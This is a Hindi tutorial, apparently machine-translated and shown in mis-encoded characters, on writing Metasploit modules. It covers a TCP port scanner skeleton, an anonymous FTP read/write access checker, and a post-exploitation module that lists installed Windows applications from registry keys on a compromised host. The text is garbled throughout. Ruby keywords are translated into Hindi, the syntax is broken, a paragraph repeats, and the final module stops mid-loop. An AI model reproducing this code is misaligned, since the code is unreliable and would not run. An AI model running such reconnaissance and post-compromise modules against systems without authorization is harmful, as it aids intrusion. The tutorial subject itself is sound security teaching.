рд╢рд╛рдорд┐рд▓ рд╡рд┐рд╡рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реВрдкрд░реЗрдЦрд╛ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рд╣рдо рдПрдХ рд╕реНрдХреИрдирд░ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  Msf :: рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ :: рд░рд┐рдореЛрдЯ :: рдЯреАрд╕реАрдкреА рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ 

рдЗрд╕ рд▓рд╛рдЗрди рдореЗрдВ рд░рд┐рдореЛрдЯ рдЯреАрд╕реАрдкреА рд╕реНрдХреИрди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧреАред

  рдЖрд░рдВрднреАрдХреГрдд рдХрд░рдирд╛
                рд╕реБрдкрд░ (
                      'рдирд╛рдо' => 'рдЯреАрд╕реАрдкреА рдкреЛрд░реНрдЯ рд╕реНрдХреИрдирд░',
                      'рд╕рдВрд╕реНрдХрд░рдг' => '$ рд╕рдВрд╢реЛрдзрди $',
                      'рд╡рд┐рд╡рд░рдг' => 'рдЦреБрд▓реА рдЯреАрд╕реАрдкреА рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ',
                      'рд▓реЗрдЦрдХ' => [рдбрд╛рд░реНрдХрд▓реЙрд░реНрдб],
                      'рд▓рд╛рдЗрд╕реЗрдВрд╕' => MSF_LICENSE
  ) 

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд╛рдЗрдиреЗрдВ рд╣рдореЗрдВ рдореЙрдбреНрдпреВрд▓, рдЙрд╕рдХреЗ рдирд╛рдо, рд╕рдВрд╕реНрдХрд░рдг, рд▓реЗрдЦрдХ, рд╡рд┐рд╡рд░рдг, рдЖрджрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рджреЗрддреА рд╣реИрдВред

  register_options (
                 [
  OptString.new ('PORTS', [рд╕рдЪ, "рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ (рдЬреИрд╕реЗ 25,80,110-900)", "1-10000"]]
  OptInt.new ('рдЯрд╛рдЗрдордЯрд╛рдЗрдо', [рд╕рдЪ, "рд╕реЙрдХреЗрдЯ рдХрдиреЗрдХреНрдЯ рдЯрд╛рдЗрдордЖрдЙрдЯ рдЗрди рдорд┐рд▓реАрд╕реЗрдХрдВрдб", 1000,),
  OptInt.new ('CONCURRENCY', [рд╕рдЪ рд╣реИ, "рдкреНрд░рддрд┐ рд╣реЛрд╕реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рд╕рдорд╡рд░реНрддреА рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛", 10]), self.class)
  deregister_options ('рдкрд░рд┐рдгрд╛рдо') 

рдореЙрдбреНрдпреВрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рдЕрдм рд╣рдо ftp рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗред рд╣рдордиреЗ рдкрд┐рдЫрд▓реЗ рдиреБрд╕реНрдЦрд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдмреБрдирд┐рдпрд╛рджреА рдореЙрдбреНрдпреВрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА, рдЗрд╕рд▓рд┐рдП рдпрд╣рд╛рдВ рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдореБрдЦреНрдп рднрд╛рдЧ рд╕реЗ рдЖрдЧреЗ рдмрдврд╝реЗрдВрдЧреЗред
рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдирд╛рдо рдПрдлрд╝рдЯреАрдкреА рдПрдХреНрд╕реЗрд╕ рдореЙрдбреНрдпреВрд▓ рд▓реЗрддреЗ рд╣реИрдВред рдореБрдЦреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрддреЗ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ: рдкреЗрдВрдЯреЗрд╕реНрдЯ / рдХрд╛рд░рдирд╛рдореЗ / рдврд╛рдВрдЪрд╛ 3 / рдореЙрдбреНрдпреВрд▓ / рд╕рд╣рд╛рдпрдХ / рд╕реНрдХреИрдирд░ / рдПрдлрд╝рдЯреАрдкреА / рдПрд╕рдЯреАрдмреАред
рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рдкреВрд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ:

  рд╡рд░реНрдЧ Metasploit3 <Msf :: рд╕рд╣рд╛рдпрдХ

  Msf :: рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ :: рд░рд┐рдореЛрдЯ :: Ftp рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ
  Msf :: рд╕рд╣рд╛рдпрдХ :: рд╕реНрдХреИрдирд░ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ
  Msf :: рд╕рд╣рд╛рдпрдХ :: рд░рд┐рдкреЛрд░реНрдЯ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ

 рдЖрд░рдВрднреАрдХреГрдд рдХрд░рдирд╛
               рд╕реБрдкрд░ (
                     'рдирд╛рдо' => 'рдЕрдирд╛рдо рдПрдлрд╝рдЯреАрдкреА рдЕрднрд┐рдЧрдо рдЬрд╛рдВрдЪ',
                     'рд╕рдВрд╕реНрдХрд░рдг' => '$ рд╕рдВрд╢реЛрдзрди: 14774 $',
                     'рд╡рд┐рд╡рд░рдг' => 'рдЧреБрдордирд╛рдо (рдкрдврд╝рдиреЗ / рд▓рд┐рдЦрдиреЗ) рдПрдлрд╝рдЯреАрдкреА рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧред'
                     'рд╕рдВрджрд░реНрдн' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
                     'рд▓реЗрдЦрдХ' => 'рдорд╛рдЯреЗрдУ рдХреИрдВрдЯреЛрдиреА <goony [at] nothink.org>'
                     'рд▓рд╛рдЗрд╕реЗрдВрд╕' => MSF_LICENSE
 )

 register_options ([рдСрдкреНрдЯ :: RPORT (21),], self.class)
 рдЕрдВрдд

 def run_host (target_host)
                 рд╢реБрд░реВ рдХрд░рдирд╛
                 res = connect_login (рд╕рд╣реА, рдЧрд▓рдд)
                 banner.strip!  рдЕрдЧрд░ рдмреИрдирд░
                 dir = Rex :: Text.rand_text_alpha (8)

 рдЕрдЧрд░ рд░рд┐рдЬ
 write_check = send_cmd (['MKD', dir], рд╕рдЪ)

 рдЕрдЧрд░ (рд░рд╛рдЗрдЯ_рдЪреЗрдХ рдФрд░ рд░рд╛рдЗрдЯ_рдЪреЗрдЪ = ~ / ^ 2 /)
 send_cmd (['RMD', dir], рд╕рдЪ)

 Print_status ("# {target_host}: # {rport} рдмреЗрдирд╛рдореА READ / WRITE (# {рдмреИрдирд░}"))
 access_type = "rw"
 рдЕрдиреНрдпрдерд╛
 Print_status ("# {target_host}: # {rport} рдмреЗрдирд╛рдореА READ (# {рдмреИрдирд░})")
 access_type = "ro"
 рдЕрдВрдд
 report_auth_info (
                  : рд╣реЛрд╕реНрдЯ => target_host,
                  : рдкреЛрд░реНрдЯ => рдЖрд░рдкреЛрд░реНрдЯ,
                  : sname => 'ftp',
                  : рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ => рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['FTPUSER'],
                  : рдкрд╛рд╕ => рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['FTPPASS'],
                  : рдЯрд╛рдЗрдк => "рдкрд╛рд╕рд╡рд░реНрдб _ # {access_type}",
                  : рд╕рдХреНрд░рд┐рдп => рд╕рддреНрдп
 )
 рдЕрдВрдд
 рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ
 рдмрдЪрд╛рд╡ :: рдмрд╛рдзрд╛
 $ рдмрдврд╝рд╛рдУ!
 рдмрдЪрд╛рд╡ :: Rex :: ConnectionError, :: IOError
 рдЕрдВрдд
 рдЕрдВрдд
 рдЕрдВрдд 

рдЖрдЗрдП рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреА рд╣реИ:

  def run_host (target_host)
                 рд╢реБрд░реВ рдХрд░рдирд╛
                 res = connect_login (рд╕рд╣реА, рдЧрд▓рдд)
                 banner.strip!  рдЕрдЧрд░ рдмреИрдирд░
                 dir = Rex :: Text.rand_text_alpha (8) 

рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Res рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рдмреВрд▓рд┐рдпрди рдорд╛рди рд╕рд╣реА рдпрд╛ рдЧрд▓рдд рд╣реИ ред Connect_login рдлрд╝рдВрдХреНрд╢рди рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред

  рдЕрдЧрд░ рд░рд┐рдЬ
       write_check = send_cmd (['MKD', dir], рд╕рдЪ)
       рдЕрдЧрд░ (рд░рд╛рдЗрдЯ_рдЪреЗрдХ рдФрд░ рд░рд╛рдЗрдЯ_рдЪреЗрдЪ = ~ / ^ 2 /)
       send_cmd (['RMD', dir], рд╕рдЪ)
       Print_status ("# {target_host}: # {rport} рдмреЗрдирд╛рдореА READ / WRITE (# {рдмреИрдирд░}"))
       access_type = "rw"
       рдЕрдиреНрдпрдерд╛
       Print_status ("# {target_host}: # {rport} рдЕрдирд╛рдо рдкрд╣реБрдБрдЪ_рдЯрд╛рдЗрдк =" ro " 

рдПрдХ рдмрд╛рд░ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдореЙрдбреНрдпреВрд▓ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЕрдирд╛рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдкрдврд╝рд╛ / рд▓рд┐рдЦрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рд░рд╛рдЗрдЯ- рдЪреЗрдХ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рд╛рдЗрдЯ рдСрдкрд░реЗрд╢рди рд╕рдВрднрд╡ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдпрд╣ рддрдм рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рд╕рдлрд▓ рд╣реИ рдпрд╛ рдирд╣реАрдВред рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╕реНрдХреНрд░реАрди рдкрд░ рдПрдХ рд╕рдВрджреЗрд╢ рдореБрджреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрджрд┐ рд▓реЗрдЦрди рдСрдкрд░реЗрд╢рди "рд╡рд┐рдлрд▓" рд╣реИ, рддреЛ рд╕реНрдерд┐рддрд┐ рдХреЛ рдЖрд░рдУ рдпрд╛ рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрджреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  report_auth_info (
                  : рд╣реЛрд╕реНрдЯ => target_host,
                  : рдкреЛрд░реНрдЯ => рдЖрд░рдкреЛрд░реНрдЯ,
                  : sname => 'ftp',
                  : рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ => рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['FTPUSER'],
                  : рдкрд╛рд╕ => рдбреЗрдЯрд╛рд╕реНрдЯреЛрд░ ['FTPPASS'],
                  : рдЯрд╛рдЗрдк => "рдкрд╛рд╕рд╡рд░реНрдб _ # {access_type}",
                  : рд╕рдХреНрд░рд┐рдп => рд╕рддреНрдп
  )
  рдЕрдВрдд 


рдпрд╣ рдПрдХ рдЫреЛрдЯрд╛ рдкреНрд░рджрд░реНрд╢рди рдерд╛ рдХрд┐ рдПрдХ рдлреНрд░реЗрдорд╡рд░реНрдХ рдореЗрдВ рдореЙрдбреНрдпреВрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдЖрдк рдЕрдкрдиреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд░реВрдк рдореМрдЬреВрджрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдХреИрд╕реЗ рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдлреНрд░реЗрдорд╡рд░реНрдХ рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВред

рдкреЛрд╕реНрдЯ-рдкреНрд░реЛрдбрдХреНрд╢рди рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдирд╛


рдЪрд▓реЛ рдПрдХ рдЫреЛрдЯрд╛ рдкреЛрд╕реНрдЯ-рдкреНрд░реЛрдбрдХреНрд╢рди рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рд╕рднреА рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛ред

рдПрдХ рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдХрд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдкрд╣рд▓реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдврд╛рдВрдЪреЗ рдХреЛ рдЖрдпрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ:

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдкреБрд╕реНрддрдХрд╛рд▓рдп рдврд╛рдВрдЪреЗ рдХреЛ рдЖрдпрд╛рдд рдХрд░реЗрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдВ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:

  рдЖрд╡рд╢реНрдпрдХрддрд╛ 'msf / рдХреЛрд░'
  'рд░реЗрдХреНрд╕' рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛
  'рдПрдордПрд╕рдПрдл / рдХреЛрд░ / рдкреЛрд╕реНрдЯ / рд╡рд┐рдВрдбреЛ / рд░рдЬрд┐рд╕реНрдЯреНрд░реА' рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ

  рд╡рд░реНрдЧ Metasploit3 <Msf :: рдкреЛрд╕реНрдЯ 
  Msf :: рдкреЛрд╕реНрдЯ :: рд╡рд┐рдВрдбреЛрдЬ :: рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ 
  рдЖрд░рдВрднреАрдХреГрдд рдХрд░рдирд╛ (рдЬрд╛рдирдХрд╛рд░реА = {}) 
     рд╕реБрдкрд░ (update_info (рдЬрд╛рдирдХрд╛рд░реА, 
           'рдирд╛рдо' => 'рд╡рд┐рдВрдбреЛрдЬ рдЗрдХрдЯреНрдард╛ рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЧрдгрди')
           'рд╡рд┐рд╡рд░рдг' =>% q {рдпрд╣ рдореЙрдбреНрдпреВрд▓ рд╕рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдЧрд╛},
           'рд▓рд╛рдЗрд╕реЗрдВрд╕' => MSF_LICENSE,
           'рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо' => ['рд╡рд┐рдВрдбреЛрдЬрд╝'],
           'рд╕реЗрд╢рдирдЯрд╛рдЗрдкреНрд╕' => ['рдореАрдЯрд░рдкрд░реЗрдЯрд░']
  ))
  рдЕрдВрдд 

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдЯрд╛рд╕реИрдкреНрд▓реЛрдЗрдЯ рдХреЛрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рд╕реЗ рд╣реЛрддреА рд╣реИред рдлрд┐рд░ рд╣рдо рдПрдХ рд╡рд░реНрдЧ рдмрдирд╛рддреЗ рд╣реИрдВ рдЬреЛ Msf :: рдкреЛрд╕реНрдЯ рдореЙрдбреНрдпреВрд▓ рдХреЗ рдЧреБрдгреЛрдВ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИред

рдЕрдЧрд▓рд╛, рд╣рдо рдПрдХ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдлрдВрдХреНрд╢рди рдмрдирд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдореЙрдбреНрдпреВрд▓ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдФрд░ рд╡рд┐рд╡рд░рдг рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдФрд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдореВрд▓ рд╕рдВрд░рдЪрдирд╛ рд▓рдЧрднрдЧ рд╕рднреА рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕рдорд╛рди рд╣реИред

рдЕрдЧрд▓рд╛, рд╣рдо рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдлрдВрдХреНрд╢рди рдмрдирд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдореЙрдбреНрдпреВрд▓ рдХреЗ рдЧреБрдгреЛрдВ рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдФрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдореВрд▓ рд╕рдВрд░рдЪрдирд╛ рд▓рдЧрднрдЧ рд╕рднреА рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕рдорд╛рди рд╣реИред

рдпрд╣рд╛рдВ рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╣рдордиреЗ " рд░реЗрдХреНрд╕ " рдХреЗ рд╕рд╛рде-рд╕рд╛рде "рд░рдЬрд┐рд╕реНрдЯреНрд░реА" рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рднреА рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ред

рдЕрдм рд╣рдорд╛рд░рд╛ рдЕрдЧрд▓рд╛ рдХрджрдо рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдмрдирд╛рдирд╛ рд╣реИ рдЬреЛ рд╣рдорд╛рд░реЗ рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдкрд░рд┐рдгрд╛рдо рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╣реИ Rex :: Ui :: рдкрд╛рда рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  app_list рдХреЛ рд╣рд░рд╛рдпрд╛
   tbl = Rex :: Ui :: рдкрд╛рда :: Table.new (
   'рд╣реИрдбрд░' => "рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ",
   'рдЗрдВрдбреЗрдВрдЯ' => 1,
   'рдХреЙрд▓рдо' => ["рдирд╛рдо", "рд╕рдВрд╕реНрдХрд░рдг"])

    рдРрдкреНрдкрд┐ = [
              'HKLM \\ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ \\ Microsoft \\ Windows \\ CurrentVersion \\ рд╕реНрдерд╛рдкрдирд╛ рд░рджреНрдж рдХрд░реЗрдВ',
              'HKCU \\ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ \\ Microsoft \\ Windows \\ CurrentVersion \\ рд╕реНрдерд╛рдкрдирд╛ рд░рджреНрдж рдХрд░реЗрдВ',
              'HKLM \\ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ рд╕реНрдерд╛рдкрдирд╛ рд░рджреНрдж рдХрд░реЗрдВ',
              'HKCU \\ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ рд╕реНрдерд╛рдкрдирд╛ рд░рджреНрдж рдХрд░реЗрдВ',
  ]

  рдРрдкреНрд╕ = []
  appkeys.each рдХрд░рддреЗ рд╣реИрдВ | keyx86 |
  found_keys = рд░рдЬрд┐рд╕реНрдЯреНрд░реА_enumkeys (keyx86)
  рдЕрдЧрд░ рдорд┐рд▓ рдЬрд╛рдП рддреЛ
  found_keys.each рдХрд░рддреЗ рд╣реИрдВ | ak |
  apps << keyx86 + "\\" + ak
  рдЕрдВрдд
  рдЕрдВрдд
  рдЕрдВрдд 

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдореБрдЦреНрдп рднрд╛рдЧ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рд╕реНрддрдВрдн рдирд╛рдореЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рд╕рд░рдгреА рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реВрдЪреА рдХреЛ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╕рд░рдгреА рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд▓рд╛рдЗрдиреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреА рдЬрд┐рдирдореЗрдВ рд▓рдХреНрд╖реНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдЧреАред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдЕрд▓рдЧ рд╕рд░рдгреА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ ред

рддреЛ, рд╣рдо рдПрдХ рд▓реВрдк рдЪрд▓рд╛рдХрд░ рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд╕реНрдХреА рдПрд░реЗ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЬрдЧрд╣реЛрдВ рдкрд░ рджрд┐рдЦрддрд╛ рд╣реИред рдлрд┐рд░ рдЧрдгрдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рдПрдХ рдЪрдХреНрд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рджрд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдПрдкреНрд╕реНрдХреА рд╕рд░рдгреА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  t = []
      рдЬрдмрдХрд┐ (рдирд╣реАрдВ apps.empty?)
     1.рдЕрдк (16) do t << Framework.threads.spawn ("рдореЙрдбреНрдпреВрд▓ (# {self.refname})", рдЧрд▓рдд, apps.shift) рдХрд░рдирд╛ | k |
     рд╢реБрд░реВ рдХрд░рдирд╛
     dispnm = que_getvaldata ("# {k}", "DisplayName")
     рдлреИрд▓рд╛рд╡ = nur_getvaldata ("# {k}", "DisplayVersion")
     tbl << [рдлреИрд▓рд╛рд╡, рдлреИрд▓рд╛рд╡] рдЕрдЧрд░ dispnm рдФрд░ рдлреИрд▓рд╛рд╡ рдмрдЪрд╛рд╡ 
     рдЕрдВрдд 
     рдЕрдВрдд 

